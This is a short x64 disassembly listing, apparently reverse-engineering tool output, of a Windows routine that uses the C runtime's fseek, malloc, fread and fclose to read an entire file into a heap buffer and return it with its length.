call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140007631
cmp rdi, 0xffffffffffffffff
je 0x140007631
mov rax, qword [0x1400e5440]
test rax, rax
je 0x1400075ce
inc dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x140007631
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x14000761e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1400e5440]
test rax, rax
je 0x140007613
dec dword [rax + 0xf4]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14000763a
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x14000762c
mov qword [r14], rdi
mov rax, rsi
jmp 0x14000763c
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret